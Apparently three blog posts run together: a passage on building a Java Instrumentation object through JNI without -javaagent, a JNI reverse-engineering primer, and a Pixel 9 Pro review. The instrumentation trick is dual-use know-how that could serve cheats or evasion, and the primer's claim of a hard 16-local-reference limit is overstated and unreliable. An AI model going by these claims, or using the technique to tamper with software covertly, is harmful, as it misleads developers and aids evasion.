    jvmtiEnv * retransformerEnv       = NULL;
    // ...

    if (agent->mRetransformEnvironment.mJVMTIEnv != NULL) {
        return agent->mRetransformEnvironment.mJVMTIEnv;
    }
    jnierror = (*agent->mJVM)->GetEnv(  agent->mJVM,
                                    (void **) &retransformerEnv,
                                    JVMTI_VERSION_1_1);
    // ...
    // ... add can_retransform_classes capability ...
    // ...
    jvmtierror = (*retransformerEnv)->AddCapabilities(retransformerEnv, &desiredCapabilities);
    // ...
    // install the retransforming environment
    agent->mRetransformEnvironment.mJVMTIEnv = retransformerEnv;
    agent->mRetransformEnvironment.mIsRetransformer = JNI_TRUE;
    // ...
    return retransformerEnv;
}

By leaving our mRetransformEnvironment.mJVMTIEnv as NULL, we trick the instrumentation layer into using the normal environment for retransformation, which is what we want.

Instantiating InstrumentationImpl

Now comes the clever bit, directly instantiating sun.instrument.InstrumentationImpl via JNI.

jobject createInstrumentation(JavaVM* vm, JNIEnv* env, jvmtiEnv* jvmti) {
    JPLISAgent* agent = createDummyAgent(vm, jvmti);
    
    jclass instClass = env->FindClass("sun/instrument/InstrumentationImpl");
    jmethodID constructor = env->GetMethodID(
        instClass,
        "<init>",
        "(JZZZ)V"  // (long agentPtr, boolean, boolean, boolean)
    );
    
    jlong agentPtr = (jlong)(intptr_t)agent;
    jobject inst = env->NewObject(
        instClass,
        constructor,
        agentPtr,
        agent->mRedefineAdded,       // boolean
        agent->mNativeMethodPrefixAdded, // boolean
        JNI_FALSE                  // boolean (printWarning)
    );
    
    // make it global so it doesn't get GC'd
    inst = env->NewGlobalRef(inst);
    
    // cache the transform method
    jmethodID transformMethod = env->GetMethodID(instClass, 
        "transform",
        "(Ljava/lang/Module;Ljava/lang/ClassLoader;Ljava/lang/String;"
        "Ljava/lang/Class;Ljava/security/ProtectionDomain;[BZ)[B"
    );
    
    agent->mInstrumentationImpl = inst; // IMPORTANT: store the java object back into the native struct
    agent->mTransform = transformMethod;
    
    return inst;
}

This directly mimics the VM's own createInstrumentationImpl function in JPLISAgent.c, which is called during the VMInit phase

// from JPLISAgent.c
jboolean
createInstrumentationImpl( JNIEnv * jnienv,
                           JPLISAgent * agent) {
    // ...
    implClass = (*jnienv)->FindClass(   jnienv,
                                        JPLIS_INSTRUMENTIMPL_CLASSNAME);
    // ...
    constructorID = (*jnienv)->GetMethodID( jnienv,
                                            implClass,
                                            JPLIS_INSTRUMENTIMPL_CONSTRUCTOR_METHODNAME,
                                            JPLIS_INSTRUMENTIMPL_CONSTRUCTOR_METHODSIGNATURE);
    // ...
    jlong   peerReferenceAsScalar = (jlong)(intptr_t) agent;
    localReference = (*jnienv)->NewObject(  jnienv,
                                            implClass,
                                            constructorID,
                                            peerReferenceAsScalar,
                                            agent->mRedefineAdded,
                                            agent->mNativeMethodPrefixAdded,
                                            agent->mPrintWarning);
    // ...
    resultImpl = (*jnienv)->NewGlobalRef(jnienv, localReference);
    // ...
    agent->mInstrumentationImpl = resultImpl;
    agent->mTransform           = transformMethodID;
    // ...
    return !errorOutstanding;
}

As you can see, our "trick" is just a recreation of the VM's own setup process. The JVM doesn't validate this pointer at construction time, it just stores it as a field.

Adding Capabilities

There's still one problem, we need to add JVMTI capabilities, but we're past the OnLoad phase. Surprisingly, this actually works

jvmtiCapabilities caps = {};
caps.can_redefine_classes = 1;
caps.can_retransform_classes = 1;
caps.can_retransform_any_class = 1;
caps.can_set_native_method_prefix = 1;

jvmti->AddCapabilities(&caps);

So, while the documentation says these capabilities should only be added during OnLoad, in practice OpenJDK allows them to be added later. The VM just won't retroactively affect classes which have already been loaded. But for new classes and explicitly retransformed classes, it actually works fine.

This is, again, exactly how the agent itself adds capabilities when they're requested by Instrumentation methods

// from JPLISAgent.c
void
addRedefineClassesCapability(JPLISAgent * agent) {
    jvmtiEnv * jvmtienv = jvmti(agent);
    jvmtiCapabilities desiredCapabilities;
    jvmtiError        jvmtierror;

    if (agent->mRedefineAvailable && !agent->mRedefineAdded) {
        jvmtierror = (*jvmtienv)->GetCapabilities(jvmtienv, &desiredCapabilities);
        /* can be called from any phase */
        jplis_assert(jvmtierror == JVMTI_ERROR_NONE);
        desiredCapabilities.can_redefine_classes = 1;
        jvmtierror = (*jvmtienv)->AddCapabilities(jvmtienv, &desiredCapabilities);
        check_phase_ret(jvmtierror);
        
        // ...
        if (jvmtierror == JVMTI_ERROR_NONE) {
            agent->mRedefineAdded = JNI_TRUE;
        }
    }
}

The agent adds capabilities lazily, so we can too.

Conclusion

The Java instrumentation API seems like it requires -javaagent, but that's just the standard entry point. By understanding JPLIS internals and carefully constructing the native structures the JVM expects, we can create a fully functional Instrumentation object from scratch.

Thank you for reading <3

Reversing JNI Libraries: Understanding the Foundation

JNI is everywhere nowadays! From being used for transpilation to sophisticated malware attempting to stay hidden, as more developers turn to native code for speed & obfuscation, and as more threats leverage JNI for evasion, understanding how to reverse engineer these libraries has become essential. I'll walk you through everything you need to know about handling them :3

What We'll Cover

In this first part, we're going to establish the groundwork you'll need before diving into actual reversing techniques. We'll explore how the JVM works under the hood, what JNI actually is, and how Java communicates with native code.

Lib Loading

So when you call System.loadLibrary("owo") in your Java code, the JVM does some magic behind the scenes! It maps this to the actual library file using platform specific naming. libowo.so on Linux, owo.dll on Windows, or libowo.dylib on macOS. The JVM then searches through all the directories in java.library.path to find your library.

But here's where it gets interesting for us! If the library has a JNI_OnLoad function exported, the JVM calls it immediately after loading.

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
    // malware especially tend to init here
    return JNI_VERSION_1_8;
}

Also, each ClassLoader maintains its own list of loaded libraries, and the JVM keeps separate symbol namespaces for each one. This means you can actually load multiple versions of the same library without conflicts.

Method Resolution

JNI method resolution has two main approaches, and both are important when you're trying to figure out whats happening:

Static Resolution

The JVM looks for native methods using a somewhat predictable naming scheme: Java_package_Class_methodName. So if you have a native void purr() method in class cat.aprl.meow, the JVM will search for:

JNIEXPORT void JNICALL Java_cat_aprl_meow_purr(JNIEnv *env, jobject obj)

But wait! If you're dealing with C++ code, watch out for name mangling. The actual symbol might look like _Z15Java_cat_aprl_meow_purrP7_JNIEnvP7_jclass instead of the nice clean Java_cat_aprl_meow_purr you'd expect.

Dynamic Registration

Here's where things get interesting! More sophisticated code (especially malware/transpilers) uses RegisterNatives() to bind methods dynamically, bypassing the VM's naming convention.

JNINativeMethod methods[] = {
    {"eviluwu", "()V", (void*)&evil_function_colon_three}
};
(*env)->RegisterNatives(env, clazz, methods, 1);

This is way harder to reverse since the connection between Java method names and native functions only exists at runtime. Making static analysis a lot more annoying, it's common with malware and transpilers such as JNIC

The JNI Bridge

The JNI bridge has two main components: JavaVM (the actual VM instance) and JNIEnv (your thread local gateway to Java).

JNIEnv

The JNIEnv pointer is thread local storage. You cannot share it between threads. In C, it's a pointer to a function table. In C++, it's a class that wraps those function calls.

Every single interaction with Java goes through this interface:

// All your JNI calls kinda look like this
jstring str = (*env)->NewStringUTF(env, "Hawk tuah!");
jclass clazz = (*env)->FindClass(env, "cat/aprl/aeaeaeae");

the JVM creates a registry for each Java to native transition, mapping local references to Java objects and making sure they don't get garbage collected until your native method returns.

The Memory Model

This is very important for understanding JNI code, Java objects live in the managed heap, whilst your native code operates in the native heap. You never get direct pointers to Java objects. Everything goes through the JNIEnv interface. This is actually a security feature, but it also makes reverse engineering a bit more interesting!

Thread Attachment

If native code needs to call back to Java from a different thread, it has to attach that thread first using AttachCurrentThread():

JavaVM *jvm; // We got this earlier with GetJavaVM()
JNIEnv *env;
(*jvm)->AttachCurrentThread(jvm, (void**)&env, NULL);
// Now env is valid for this thread
(*jvm)->DetachCurrentThread(jvm); // Clean up

You'll see this pattern a lot, especially in transpilation mainly because it needs to constantly go back and forth with the VM.

JNI Data Types & Signatures

Alright, let's talk about how Java types map to JNI types, because this is pretttyyyy crucial when you're trying to understand what's going on in native.

Type Mappings

Here's how Java types translate to JNI:

Method Signatures

This is where it gets a bit more interesting.!? JNI uses a specific encoding for method signatures that looks absolutely unreadable at first glance. although they're actually pretttyyy easy to understand, Here's their pattern:

(parameter_types)return_type

The signature characters you'll see everywhere:

Real Examples

Let's look at some actual method signatures you'll encounter:

// void hawkTuah()
"()V"

// int calculate(int a, int b)
"(II)I" 

// String meowLoudly(String input, boolean flag)
"(Ljava/lang/String;Z)Ljava/lang/String;"

// void meowArray(int[] numbers)
"([I)V"

// Object[][] getMatrix()
"()[[Ljava/lang/Object;"

Notice how class names use forward slashes instead of dots, and they're wrapped in L...;. Arrays get [ prefixes for each dimension.

Where You'll See This

You'll encounter these signatures most commonly in:

// finding methods dynamically
jmethodID methodID = (*env)->GetMethodID(env, clazz, "meowLoudly", 
                                       "(Ljava/lang/String;Z)Ljava/lang/String;");

// dynamic native method registration  
JNINativeMethod methods[] = {
    {"transRights", "(I)V", (void*)&trans_Rights},
    {"ummMeow", "([BZ)Ljava/lang/String;", (void*)&umm_Meow}
};

When you're reversing, signatures are pretty important for understanding what parameters a function expects and what it returns. Malware often tries to obfuscate the method names, but the signatures usually give away exactly what data types it's working with, isn't completely unique to native either.

Reference Management

Alright, this is where JNI gets a bit weird and where a lot of people mess up. JNI has it's own reference system that you need to understand when you're reversing.

Local vs Global References

By default, every Java object you get from JNI functions is a local reference. These are automatically cleaned up when your native method returns, but here's the thing, you're limited to about 16 local references at a time.

// These are all local references
jstring str = (*env)->NewStringUTF(env, "meow");
jclass clazz = (*env)->FindClass(env, "cat/aprl/aeaeaeae");
jobject obj = (*env)->NewObject(env, clazz, constructor);
// The VM will clean these up when the method exits

But what if you want to keep a reference around longer? That's when a global references should be used:

// Convert local to global reference
jclass localClazz = (*env)->FindClass(env, "cat/aprl/meow");
jclass globalClazz = (*env)->NewGlobalRef(env, localClazz);

// Clean up the local reference immediately
(*env)->DeleteLocalRef(env, localClazz);

// Now globalClazz can be used across method calls and threads
(*env)->DeleteGlobalRef(env, globalClazz);

The 16 Reference Limit

This is where things get interesting. The JVM only gives you 16 local reference slots. If you create more without cleaning up, you'll crash the VM. You'll often see code like the following:

// Processing a large array, need to clean up as we go
for (int i = 0; i < huge_array_length; i++) {
    jobject item = (*env)->GetObjectArrayElement(env, array, i);
    
    // Doing thingys uhhh :3
    
    // Clean up immediately to avoid hitting the limit
    (*env)->DeleteLocalRef(env, item);
}

Or sometimes you'll see something like this instead

// Request more local reference slots upfront
(*env)->EnsureLocalCapacity(env, 50);
// Now we can safely create 50 local references

Wrapping Up

And that's the foundation! we've covered the fundamentals of the VM that we'll need when reversing JNI libraries.

In Part 2, we'll start actually reversing stuff, whether it's transpilation, minecraft cheats with native obfuscation or malware, until then try poking around with stuff yourself!

Thanks for reading, and I'll see you in Part 2! :3

After years of using Apple devices, I finally switched to Android with the Google Pixel 9 Pro. I had been tied into the Apple ecosystem for a long time, so changing phones felt like a much bigger decision than it probably should have been. As soon as I opened the box, though, I had a feeling I was going to enjoy it.

Why I switched

The main reason was freedom. My iPhone 13 worked well, but newer iPhones increasingly felt like devices I was allowed to use rather than devices I actually owned. I wanted to tinker with my phone, modify apps, and have more control over how the system behaved.

I had also grown tired of a few parts of iOS, particularly the small audio issues and the general feeling of being locked into Apple's ecosystem. Moving away from that was something I had wanted to do for a while.

First impressions

The Pixel immediately felt different from my iPhone 13. It feels premium without being too heavy, and the display was the first thing that really stood out. It is brighter, smoother, and noticeably nicer to use. The higher refresh rate makes almost everything feel more responsive.

The connected volume buttons took a little while to get used to, but that was a tiny adjustment compared with changing operating systems entirely.

The camera

The camera was one of the main reasons I chose the Pixel, and it absolutely lived up to its reputation. After taking a few hundred photos, the thing I appreciate most is its colour accuracy. Photos look close to what I saw in front of me without needing much adjustment, and Google's editing tools give me plenty of room to change things afterwards.

The amount of detail is also a huge step up from the iPhone 13's 12 MP camera. Portrait mode has been especially good, so here is the obvious test subject, my cat Simba :3

The Android experience

Coming from iOS, Android has been both exciting and slightly strange. Google's version feels clean and intuitive, without the bloat I had worried about. The themed icons work nicely, although I would still like more freedom around widgets and the home screen.

Gemini has been more useful than I expected. Its system integration means I can reach it from almost anywhere, and it has been considerably better at understanding requests and carrying out tasks than Siri ever was for me.

The biggest benefit is still how easy Android is to tinker with. Modifying apps and changing how the system behaves is far less painful than it was on iOS. That will not matter to everyone, but it matters a lot to me.

Battery life and charging

Battery life was one of my biggest concerns before switching. In practice, it has been excellent. I normally use my phone for six or seven hours each day for browsing, messaging, YouTube, Netflix, and Twitch, and I usually finish with around 30 to 40 per cent remaining.

Reverse charging is another feature I never had on my iPhone. Being able to help someone charge their phone in an awkward situation is genuinely useful.

Performance

I am not exactly a mobile power user, but I have had no meaningful performance problems. Multitasking is smooth, everyday tasks are fast, and the few issues I have encountered have seemed specific to individual apps rather than the phone itself.

Final thoughts

After several days with the Pixel 9 Pro, switching away from Apple already feels like the right decision. The display, camera, battery life, and general Android experience have all exceeded my expectations.

There is an adjustment period, but the extra freedom has made it worthwhile. If you are a long-time iPhone user who values photography, battery life, and being able to tinker with your own device, I would absolutely recommend trying one.

I will write another post after I have lived with it for longer. Thanks for reading! :3